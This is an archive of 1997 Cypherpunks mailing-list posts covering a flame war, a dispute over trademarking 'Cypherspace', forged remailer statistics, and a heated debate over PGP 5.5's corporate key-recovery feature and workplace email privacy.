Subject: Re: Stronghold
Message-ID: <199710051646.SAA26190@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> Dimitri, out with Stronghold's fault, if you've got it. C2, cut the
> legal bluff, it stinks. The badmouthing by both of you is the same old
> toxic waste -- and may mean the two of you're are now in cahoots
> to boost each other's shoddy goods and hide the faults behind a
> phony dispute, like 50 years of mock competitive Ameri-Russky
> junk national security communist-capitalist racketeering so beloved
> by die-hard globalist TLAs of business and government.

It is becoming increasingly obvious that John Young is the real
troublemaker here. I wouldn't doubt that it was John who was
behind the original troubles between Vulis and Sameer.
I think that John Young should be forcefully unsubscribed from
the Cypherpunks mailing lists. 

YoungMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 6 Oct 1997 10:09:41 +0800
To: kfong@ix.netcom.com
Subject: Trademarking CypherSpace???
Message-ID: <3.0.3.32.19971005185236.00688c68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Sigh.  A company called I-Planet is trying to trademark the term 
"Cypherspace", even though we've been using it for a couple of years
in the cypherpunk community.  They're doing an IPSEC Virtual Private Network,
with friendly HTML administration; http://www.i-planet.com/P2cypherpb.html .
Looks like interesting stuff, and I wish them luck except in TMing the name :-)

I looked on AltaVista and HotBot, and the earliest reference I found
was from a 1994 article by Tim May.  I'd be interested in finding any earlier refs.
There's also a line of comic books using the name, and a Java Applet
from 1996, plus references from I-Planet in late 96 and 97.
Anybody know if the term's been used in print in the dead-tree press?

http://www-swiss.ai.mit.edu/6095/assorted-short-pieces/may-police-state.txt 05-Oct-94
http://www.pi.net/~mvheezik/cypher.html  20-Dec-96
http://infinity.nus.sg/cypherpunks/dir.archive-96.10.17-96.10.23/subject.html 
	pointing to David Lesher's article Alice in Cypherspace
http://www.insitecomp.com/webdev/java/javasites.htm 7-Dec-96 points to "Cypherspace",
	a Java Application on a machine I don't seem to be able to reach right now.

=============================================================
====  FROM http://www2.netcom.com/netcom/cypher.html and also 
====         http://www.i-planet.com/P2cypherpb.html ========

Introducing i-Planet's CypherSpace(tm) 

As part of the i-Planet Solution(tm) product family, CypherSpace(tm) allows a
company to securely link all of its locations together over the Internet by creating a
Virtual Private Network (VPN). This represents an enormous cost savings
especially for multinational organizations. 

=============================================================

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 6 Oct 1997 10:34:00 +0800
To: raph@cs.berkeley.edu
Subject: Risks of using usually-reliable information sources in your programs
Message-ID: <3.0.3.32.19971005191732.00688c2c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I've been thinking about building remailers and cover-traffic generators,
and there's a need for a convenient up-to-date list of remailers.
Raph Levien's remailer pinging service is definitely convenient,
and even produces some of its output in perl for use by perl programs.
However, it's important to be really careful when depending on information 
like this, e.g. when building it into programs, because otherwise it's
easy to trick them into using bogus data, such as the crudely forged
article sent to Cypherpunks earlier today.  The natural implementation is
to pick the more reliable remailers based on "Raph"'s statistics,
so adding records for very reliable bogus remailers is a win.

The security would be improved if Raph signed the weekly file,
but that also requires people using the file to check it with PGP
and not just grep out the relevant lines for their programs' use.

>X-Sender: stewarts@popd.ix.netcom.com
>X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32)
>Date: Sun, 05 Oct 1997 18:06:56 -0700
>To: cypherpunks@toad.com
>From: Raph Levien <raph@CS.Berkeley.EDU>
>Subject: List of reliable remailers
>Sender: owner-cypherpunks@cyberpass.net
>Reply-To: Raph Levien <raph@CS.Berkeley.EDU>
>X-Loop: cypherpunks@cyberpass.net
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>ADVERTISEMENT: Proudly Sponsored by the Electronic Forgery Foundation, 
>http://www.eff.com
>ADVERTISEMENT: Digicash Software - Download Today!  http://www.digicrime.com
>
>   I operate a remailer pinging service which collects detailed
>information about remailer features and reliability.
....
>recovery remailer@biglouie.fbi.gov        ############     0:01  99.99%
>payswell remailer@digicrime.com           ############     0:01  99.99%
>trustme  trustme@trustme.nsa.mil          ************     0:59  99.99%
>mulder   mulder@juno.com                  #*#*##*#*#*#     0:57  99.98%


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim@mentat.com (Jim Gillogly)
Date: Mon, 6 Oct 1997 10:51:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Trademarking CypherSpace???
Message-ID: <9710060243.AA04467@mentat.com>
MIME-Version: 1.0
Content-Type: text/plain



An AltaVista search for "cypherspace" pulls up a Tim May rant on
The Coming Police State dated 9 Mar 1994 on the topic, so it's at
least 3.5 yrs old.  Good historical reading, by the way... dates
back to the Clipper era.  Don't you hate it when the pessimists
are right all the time?

	Jim Gillogly





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 6 Oct 1997 08:03:27 +0800
To: <cypherpunks@toad.com>
Subject: Re: Pretty Good Piracy
Message-ID: <199710052351.TAA09777@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/5/97 6:37 PM, Anonymous (nobody@REPLAY.COM)  passed this wisdom:

>Ryan Anderson wrote:
>> Okay - the only difference between this and a normal version of 
>> PGP is that it always encrypts to a certain key-id, in addition
>> to all others.
>> 
>> That's the only weakness you'll see in it.
>
>It's the only weakness that's needed to compromise all the keys.

 It seems to me that it should not necessarily compromise all keys,
though it does in effect provide for a goodly number of 'known
plaintext' objects. Could some of our hardcore crypto experts comment
on IDEA's susceptability to known plaintext which then provides
'plaintext' to the DH/DSS or RSA keys and what is their susceptability
to 'known plaintext'

 It occured to me while proofreading the above that in effect a
digitally signed cleartext document provides 'known plaintext' every
time its used, since the SHA-1/MD-5 can be computed the hash is a
'known plaintext' on the  DH/DSS and RSA keys ... is this one of the
reasons for the two key types in PGP5 ???


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDgmJcdZgC62U/gIEQIvgwCg/kybc9ons3ji3cbi9jtSnQ3kptkAn3IC
90pwzjjpt2qqhpjn8VRlrOGR
=IIkE
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Never ask what sort of computer a guy drives. If he's a Mac user,
   he'll tell you. If not, why embarrass him?" - Tom Clancy 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 6 Oct 1997 11:11:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI ever dre
In-Reply-To: <v03110705b05bfc2bc63c@[139.167.130.248]>
Message-ID: <3.0.2.32.19971005200455.00715690@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:41 PM 10/5/97 -0500, jf_avon@citenet.net wrote:
>Unicorn wrote:
>
>>  borderline activity.  It's hardly a settled point.  That you are so quick
>>  to advocate corporate ownership of potentially private e-mail out of hand
>>  and without argument tells us much about your real position, Mr.
>>  Moscaritolo.  Three words:  "Expectation of Privacy."

I missed the original post, but here are my $0.02. I encrypt all outgoing
encrypted work email to my own key as well. I would be just as happy to
encrypt it to the corporate key. If I was to send some private email from
work, something that is not frowned upon at my place of employment, I would
simply pre-encrypt it with just the key of the recipient.

Meanwhile, I can understand the desire of a company to be able to read old
outgoing email even after the employee quit or forgot their passphrase.
After all, it might contain valuable information about details surrounding
past negotiations with clients. Information that I would not want to be
without.

And PGP's Policy Enforcer has another side to it: have you ever forgotten
to encrypt email that should have been encrypted? I have. With the Policy
Enforcer installed, that can't happen. Which may well save big hassles in
the future.

All IMHO, of course.

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 6 Oct 1997 11:11:10 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: FOCUS [was Re: New PGP "Everything the FBI ever dreamed of"]
In-Reply-To: <v03102800b05d58dd0280@[207.167.93.63]>
Message-ID: <971005.203718@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    attila in --with both feet.

    starting with the premise that a corporation has a fundamental 
    legal right to review all work and communications of any employee,
    and "acknowledging" that the employer is virtually required to
    maintain access to documentation to service the regulations of the
    government, the courts, and the LEAs, the issue is simply HOW?

    1.  I personally include my own public key in every encrypted
        message --if I consider the contents important enough to 
        warrant encrypting, not just signing, I consider it important
        enough not to maintain a plaintext copy.

    2.  If I consider the contents more than just important -eg:
        critical, I use one of my unpublished public keys for the
        file copy. this version, including the encryption software
        and key library, are kept on a separate ZIP disk from the
        standard version ZIP disk.

        as a matter of reference, all temporary space is maintained on 
        the ZIP drive.  

    the major insecurity is the swap space which is maintained on a 
    separate partition which is fully purged at boot time --which is not
    often enough.  I have written secure swappers, or maybe I should say
    secure except for the transitory time the information may have been
    swapped out.  this can be made further secure by preventing swap for
    the encryption engine if the system permits it, or even better, use
    semiconductor memory which leaves no magnetic media residuals to be
    analyzed 500 levels down by the Feds.

    From a mechanical standpoint there is no difference when you
    apply the same methods to the corporate environment. Again, the
    issue is HOW it is implemented.

    1.  if a corporate entity uses a single private-public keypair
        for each and every employee, that is their own stupidity as
        this is insecure, both internal and external. Too many hands on
        the private key.

    2.  ideally, each employee should be given a separate corporate
        public key. at the very least the key can represent a department     
        or work group.

    3.  using the scenario in 2, specific projects can use a second
        corporate key which permits group leader management control.

    Therefore:

    Is this GAK?                    unfortunately, yes. 

    By tolerating the use of        unfortunately, yes.
    corporate GAK are we setting 
    ourselves up to accept 
    personal GAK?  

    why?                            individuals will be desensitized 
                                    to defending the absolute
                                    importance of maintaining our                     
                                    Constitutional rights, what few
                                    the Supreme Court has not yet                                
                                    denigrated.

    can we avoid this result?       YES! 

    GAK for businesses is a slam dunk, eg: if business has it, LEA,     
    etc. can get it. desensitization can be minimized by pressuring
    professional associations to keep the issue of _personal_ privacy
    on the hot burner; this is the only issue. 

    our mission must be to keep the fire out front so Americans will 
    not stand for the total loss of privacy, etc. that F[reeh,uck] is
    hawking to our government; F[reeh,uck] sings the siren song of
    anti-terrorism, anti-anarchy, and all that good stuff government
    wants to suppress in violation of the Constitution.

    if the general public is fully aware of the implication, there 
    is a chance to lead the rabble with the the chant:

        hell no, we wont dump our crypto!

    Now that the NYTimes has seen the light and is joining the battle
    against the forces of encryption denial, the mainstream press may 
    make some effort in the cause, but we must keep the pressure on
    high.

    CDT, EPIC, and the rest of them are funded by business, big
    business, all of whom have a vested interest in selling product. 
    they are the employers of the inside-the-beltway whores ...pardon 
    me: lobbycritters; and they will compromise our individual rights in 
    the corporate interests of the almighty dollar; in fact, corporate 
    managers and beancounters will violate the privacy of their
    employees faster than the US spooks, both on and off the job --they 
    have little if any concept of personal Constitutional privacy rights
    
        corporate officers are clueless on personal privacy.

    we face a two edged sword. 

    if we encourage the expanded use of encryption in business, it will
    spread much more readily to the private sector --knowing full well
    the corporate users will be subjected to GAK.  

    If business units are smart, they will implement the multi-target
    encryption and fight like hell against what F[reeh,uck] really
    wants: on-the-fly, real-time trapdoor cleartext --just like clipper. 
    If F[reeh,uck] gets what he wants, why should he ask a court for
    approval to decrypt when he can already glean the information in
    the same way POTS taps are real time.

    if we rant and rave against the multi-public key encryption system, 
    we risk facing the far more Draconian demands of F[reeh,uck].  The
    multi-public key system has been in use since the first time the
    ability to use multi-keys for multi-recipients was included.

    there is nothing we can do in the courts to prevent corporations
    processing encrypted mail through servers for verification, or even
    content scanning.  business has this right --unfortunately, the
    government can compel the business to exercise this "right" and 
    therefore government potentially does have real-time access.

    THE FOCUS:

    All efforts need to be directed to prevent the inclusion of
    master keys in hardware and/or software and the mandating of
    universal usage of the government system.  there is little
    difference in what F[reeh,uck] is proposing and Clipper --and 
    the same arguments can challenge F[reeh,uck] and friends.

    Let's not waste time hashing and rehashing business practices we 
    have long since been forced to accept; and stay away from politics:

        FOCUS on our Constitutional rights.

    death is inevitable --an action we all face; some things are worth
    dying early defending  --my personal privacy rights and the sanctity 
    of my intellectual processes or whatever I wish to cogitate or 
    regurgitate is one of them. For the masses:

        '54-40 OR FIGHT' 

    or any number of us will die martyrs;

    STAND UP AND BE COUNTED; 

    dont be government wimps, snitches, and shills like Hallam-Baker.

        attila on the way out

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDhTsb04kQrCC2kFAQGD0wP+JJ6GvszXDmBJcyTaGy9nbXSQb5y0kKUW
NgZZHQDJlsVGdU4zPWl3HX7QClpjCBWEucWHiZa9BlyyMA55ngAYJiLv6+EzGZCi
AuFYjJBbHin8krgauM/iy4Pj1aXZcIMorWEUYJsfRoHEWCtwPikrwCNCBqzj/N+6
3CpuA31WeeQ=
=Cg9I
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 6 Oct 1997 10:57:24 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <3.0.3.32.19971005124929.03dfa15c@ctrl-alt-del.com>
Message-ID: <199710060249.WAA15953@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971005124929.03dfa15c@ctrl-alt-del.com>, on 10/05/97 
   at 12, Alan <alan@ctrl-alt-del.com> said:

>At 11:46 AM 10/5/97 -0500, William H. Geiger III wrote:
>>
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <v03102800b05d58dd0280@[207.167.93.63]>, on 10/05/97 
>>   at 08, Tim May <tcmay@got.net> said:
>>
>>>Let's hope PGP, Inc. comes to their senses and stops doing the work of
>>>Big Brother.
>>
>>This is really silly Tim,
>>
>>The ability to encrypt using multiple keys has been a feature of PGP since
>>day one. All the Business Edition is doing is automating the process.
>>Despite the flawed news reports on this matter (who would have guessed)
>>their is nothing covert about it. The user is both informed that this is
>>being done and there is a way for the user to disable it in the client.

>I guess the real question is whether the messages/files generated just
>add an extra key or if they leak the key through some harder to identify
>method.

>The current version of PGP no longer shows you the list of recipients, so
>it is more difficult to determine if extra keys are added.

>Is the method they are using for this new version to "escrow" the keys
>obvious to the recipient or not?

I *highly* doubt that they are doing anything other than adding an extra
recipiant when encrypting. The code for doing so is already there and
achives the objectives desired by their customers. Really no reason to do
anything else from a programming or business prospective.

I have not had a chance to obtain a copy of 5.5 and check it out so I
don't know what info is being presented to the user. I don't run Win95/NT
or MAC so it is unlikly that I will spend the $$$ for a copy. Perhaps
someone running one of these inferior OS's could obtain a copy and
investegate this aspect futher. :)

Looking at the encrypted messages should revial wether or not extra keys
are being added or not.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNDhTPY9Co1n+aLhhAQEI1QP9Fj3g1lC/WMiWxYCOJnyoCgniD+zb2Ksf
bBWsMtflzQVSx7usOGProMxKcael8H9fHBxEuOJU+y2jlINDFAgXBCKHrErtlzfR
uJ+NWGeR4ctx+qEJps0mlPcNp7cDzfX5A7bAiVnWb1G/n2R0y4+5sn1i1HkAs0sa
u/5KZLVgPZg=
=64ir
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Mon, 6 Oct 1997 11:06:55 +0800
To: e$@thumper.vmeng.com
Subject: Re:New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03110706b05bfd2e031d@[139.167.130.248]>
Message-ID: <199710060219.WAA16101@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain




> Date: Sat, 04 Oct 1997 03:35:12 -0500
> To: "George F. Mayhew" <mayhem@globaldialog.com>,
>         Robert Hettinga <rah@shipwright.com>
> From: Black Unicorn <unicorn@schloss.li>
> Subject: Re:New PGP "Everything the FBI ever dreamed of"
 
> At 10:58 PM 10/3/97 -0500, George F. Mayhew wrote:
>  >I think PGP, Inc. has seen the need for corporations to monitor their
>  >transactions at all levels, and responded with a simple, effective
>  >method that keeps the core applications from becoming compromised, and
>  >thus less secure.  As a private user, this doesn't bother me in the
>  >least.
>  
>  You know, you're right.  Transactions at all levels on corporate property
>  can put the corporation at risk.  As a private user, this doesn't bother me
>  in the least either.  I think a simple effective method to prevent
>  potential liability might be to put video cameras in the restrooms on
>  corporate facilities.  God knows what silliness goes on in there which
>  might get the company in trouble.  Mandatory drug tests?  Absolutely.
>  Seems to me that this is essential.  Can't have recreational drug users
>  hanging around can me.  By the way, alchohol is considered a drug by the
>  company.  We'll be screening for that starting Monday.  AIDS carriers?  We
>  need to know.  Never know when this might cause the corporation
>  embarassment, or, god forbid, liability.  What if the local CPR expert
>  didn't know that Bill had the HIV virus and tried to preform CPR?  Can you
>  imagine the potential liability?  God, what about something more
>  communicable like TB?  No, can't have that.  We need access to all our
>  employee's medical records.  Absolutely.

>  God you frighten me.

Unicorn, as usual, you twist words like nobody but you (and a 
zillions politicians) can.

You forget the fact that the association between a company and an 
individual is voluntary.  As long as all the tests and surveillance 
done by the company is known by the employee, it can do anything it 
wants.  Only, you are also free to find another employer.  And in the 
old days of paper correspondence, what prevented a company to give 
five years of a given employee's correspondence to the FBI?  

As a business owner, I wouldn't put cameras in the bathrooms, but I 
would certainly *require* that an encrypting software be decypherable 
by the top management.  Encryption is an envelope.  Sometimes, it is 
justified that management open suspicious enveloppes.  As long as a 
behaviour doesn't impair work performance, there is no reason to pick 
on it.  And personnally, I'd maybe keep somebody with impaired work 
capabilities but negociate a pay reduction instead of firing him/her. 
 He is free to find work somewhere.  This is *NOT* coercion.

Your thing about the cops having access to info is an entirely 
different story.  If the company doesn't have the balls or the 
strenght to resist bullish tactics, then, it is their problems.  The 
employee should simply have evaluated earlier if the company would 
sell him out to the first spook and choose to work for somebody else.

What you seemed to imply when you wrote that precisionless paragraph 
is that, in the end, key escrow by the owners of the company and 
computer system is dangerous.  But to the company, not having the 
possibility to decrypt the data they *own* and are liable for  is 
even more dangerous.

The data generated on company's time and pay is property of the 
company.  There is no coercion.  Everybody is free to act, 
find another employee or keep him, find another job or keep it.
Period.

Ciao

jfa

P.S.    For which one of three-letter organization do you work 
Unicorn?
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 6 Oct 1997 11:47:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI ever dre
In-Reply-To: <v03110705b05bfc2bc63c@[139.167.130.248]>
Message-ID: <3.0.3.32.19971005224053.006b9b98@schloss.li>
MIME-Version: 1.0
Content-Type: text/plain




[I'm not on cypherpunks anymore, anyone there who wants to put me through
the wringer without having to endure my response might not want to CC: me.]

At 10:41 PM 10/5/97 -0500, jf_avon@citenet.net wrote:

>Unicorn wrote:
>
>>  borderline activity.  It's hardly a settled point.  That you are so quick
>>  to advocate corporate ownership of potentially private e-mail out of hand
>>  and without argument tells us much about your real position, Mr.
>>  Moscaritolo.  Three words:  "Expectation of Privacy."
>
>Unicorn,
>
>In that piece of knowledge smashing, just as you do in most 
>of your posts, you again mixed up things to make sure that everybody 
>end up knowing less than when they started.
>
>It is peoples like you that ended up with using Expectation of 
>Privacy out of it's rightfull context.  Apart from various rulings of 
>various judges that probably smoked various  herbs, can you please 
>tell me how anybody can rightfully expect privacy when everything 
>that permits them to exchange information is *owned* by somebody else 
>and that the use of this equipment is there *only* for the activities 
>of the owner of the equipment?

Remember when the phone company used to lease you your phone?  Surely that
doesn't make the data that goes over the phone their property?  If my
doctor calls me at work with the results of a critical test, you believe
that data is no longer private?  I hope not.  You think whatever goes on in
a rental car I drive is the property of the rental company?  That if some
company rented the car they are entitled to read whatever papers I have in
there?  What about a hotel?  A leased apartment?  A restraunt back room?  I
challenge the "ownership gives the owner the right to all that occurs or is
produced on or in the property" premise because it is just not a valid one,
legally or (in my opinion) ethically.

>If it weren't of the business, the 
>damn computer wouldn't be there.

I know of many companies, consulting, law firms, accounting firms, in which
employees own their own machines, laptops for example, or PDAs.  Even where
this is not the case, I still resist the premise that ownership of a
computer translates to ownership of all the data thereon.  I'm sure hackers
would love it if they got title to all the data they download.
Unfortunately for this position it just doesn't work that way, nor should
it.  I suppose ISPs could take the position that encrypted data on their
systems must also be encrypted with the ISPs root key.  Are you telling me
you'd not have a problem with that because the ISP owns all the data on its
systems?

>And beside, the employee is not 
>paid to chat with friends, he's paid to work.  If he doesn't want to 
>work, just fine, but not on the company's pay...

Actually, most large modern firms I'm familiar with approve of and expect
some degree of personal business to be transacted in the work place.  Some
even state this explicitly in their corporate policies and define the level
of personal business that is appropriate.  Never have I seen one which
insists that no personal business of any kind is to be tolerated.  I doubt
such a firm would have a reasonable retention rate either.

>Somehow, you basic premises always blows my mind.  I think that you 
>are a *very* dangerous person.

I think I might take that as a compliment coming from someone who advocates
the  kind of data ownership views that you seem to.  I hope to be thought
of as dangerous by those kind of entities.

>I've been watching you for almost 
>three years over Cypherpunks and e$-etc and other forums.   
>Virtually *all* of your posts have this 
>blow-up-their-basic-premises-and-let-them-with-nothing-but-confusion  
>style.

Blame law school.

If my position on this issue makes me some kind of troublemaker, you better
point the same finger at Schneier, who (if quoted accurately) shares my view.

>Your style shows intelligence and skill in the way you do 
>it, which rules out idiocy on your part.  So, clearly, you have 
>an agenda

I do.  Unimparied privacy for individuals in all contexts.  Now tell me how
PGP5.5 contributes to that cause, particularly in the current political
climate.  The timing looks extremely suspect to me.  Challenging the
premise that corporates own the flesh and mind of every employee within the
walls of their facilities doesn't really strike me as something
pro-estlablishment or bearing the hallmarks of some sinister plot, unless
perhaps one is on a law-enforcement or far right corporate-facist spectrum.
 P2, the italian corporate-facist movement, held similar views after the
second world war, so your ideas are not new.  My view is, however, that
this is the wrong way for the world to progress.  If beliving that
employees don't sell their souls to large corporations because they accept
their paychecks is evil, call me evil.  At the same time I beleve that
companies don't tell their soul to a given government just because they do
business on a given "soil."  This strikes me as consistant.  Perhaps you
will disagree.

>I cannot help but having the nagging feeling that you're on  some 
>three-letter agency payroll because you have the uncanny habit of 
>disrupting and diverting some important discussion.

If correcting legal errors, highlighting the flaws in basic premises and
pointing out general gaps in logic, which is what I think I've been doing
for the many years I've been poking around on c'punks an elsewhere, is
disrupting and diverting, perhaps the "important discussions" are on the
wrong tact.

Glazing over the messy details of any policy, which seems to be what your
"disrupting and diverting some important discussion" clause is advocating,
is a rather sly tactic really.  "If all these privacy extremists would just
shut up about the details of our plan, we could get something done without
diversion and distraction."  Sound familiar?  Always look at those calling
for silence with suspicion.

>I always wanted 
>to killfile you but always refrained to do so just to be able to read 
>the last finely crafted basic premises-smashing abomination.

Actually, I don't even usually proofread my stuff.  I'm pleased it gives
you the impression of some fine craftsmanship, or bears the indications of
some grand conspiracy, but in reality its off the top of my head.  The
consistancy you see is probably because I don't waiver in my principles
when it comes to privacy.

>So, again, which of the three-letter agency sends you a paycheck?  

Clearly, any answer I deliver to this question only harms me.  I've seen
this trick before.

>Or are you doing is only for a secret decoration?

What kind of decoration?  Are you offering me one?  (Aside from "Snide
Asshole Lawyer of the Year" or something I mean).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Mon, 6 Oct 1997 10:46:44 +0800
To: e$@thumper.vmeng.com, cypherpunks@Algebra.COM
Subject: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI ever dre
In-Reply-To: <v03110705b05bfc2bc63c@[139.167.130.248]>
Message-ID: <199710060244.WAA16373@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Unicorn wrote:

>  borderline activity.  It's hardly a settled point.  That you are so quick
>  to advocate corporate ownership of potentially private e-mail out of hand
>  and without argument tells us much about your real position, Mr.
>  Moscaritolo.  Three words:  "Expectation of Privacy."

Unicorn,

In that piece of knowledge smashing, just as you do in most 
of your posts, you again mixed up things to make sure that everybody 
end up knowing less than when they started.

It is peoples like you that ended up with using Expectation of 
Privacy out of it's rightfull context.  Apart from various rulings of 
various judges that probably smoked various  herbs, can you please 
tell me how anybody can rightfully expect privacy when everything 
that permits them to exchange information is *owned* by somebody else 
and that the use of this equipment is there *only* for the activities 
of the owner of the equipment?  If it weren't of the business, the 
damn computer wouldn't be there.  And beside, the employee is not 
paid to chat with friends, he's paid to work.  If he doesn't want to 
work, just fine, but not on the company's pay...

Somehow, you basic premises always blows my mind.  I think that you 
are a *very* dangerous person.  I've been watching you for almost 
three years over Cypherpunks and e$-etc and other forums.   
Virtually *all* of your posts have this 
blow-up-their-basic-premises-and-let-them-with-nothing-but-confusion  
style.  Your style shows intelligence and skill in the way you do 
it, which rules out idiocy on your part.  So, clearly, you have 
an agenda. 

I cannot help but having the nagging feeling that you're on  some 
three-letter agency payroll because you have the uncanny habit of 
disrupting and diverting some important discussion.  I always wanted 
to killfile you but always refrained to do so just to be able to read 
the last finely crafted basic premises-smashing abomination.

So, again, which of the three-letter agency sends you a paycheck?  
Or are you doing is only for a secret decoration?

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 6 Oct 1997 14:21:24 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Stronghold (fwd)
In-Reply-To: <199710051735.MAA00824@einstein.ssz.com>
Message-ID: <v03007848b05e2db4e1a8@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:35 AM -0700 10/5/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Sun, 5 Oct 1997 18:46:14 +0200 (MET DST)
>> Subject: Re: Stronghold
>> From: nobody@REPLAY.COM (Anonymous)
>
>> It is becoming increasingly obvious that John Young is the real
>> troublemaker here. I wouldn't doubt that it was John who was
>> behind the original troubles between Vulis and Sameer.
>> I think that John Young should be forcefully unsubscribed from
>> the Cypherpunks mailing lists.
>
>You sir are an unmittigated ass and more than a tad immature and selfish.
>
>I will not forcefully unsubscribe anyone from the SSZ node unless cops start
>showing up at my door giving me shit, in which case the node might go down
>(hopefully temporarily). I may not like what he did but I'll be damned if
>I'll go back on my beliefs in free speech just because you or I don't like
>it. You want freedom, learn to give it even when it hurts.
>
>Grow up and learn to deal with it.

Relax Jim.  It's just evidence that Dimitri has learned to use remailers.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 05:08:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Quor's cipher
In-Reply-To: <199710042151.WAA03454@notatla.demon.co.uk>
Message-ID: <199710052058.WAA21077@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matthew Ghio wrote:

> Antonomasia <ant@notatla.demon.co.uk> wrote:
>
> > How are you planning to detect which bytes are passed in this way ?
> > Chosen plaintext attacks would do it, and show where (a+b)^(a0+b0) == 0.
> > Looks like you've just doubled our progress.
>
> It doesn't take chosen plaintext, just known plaintext.

Even in the case where this doesn't work, you can simply collect all
128 plaintext/ciphertext pairs for the first byte (if you can get
enough known plaintexts)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
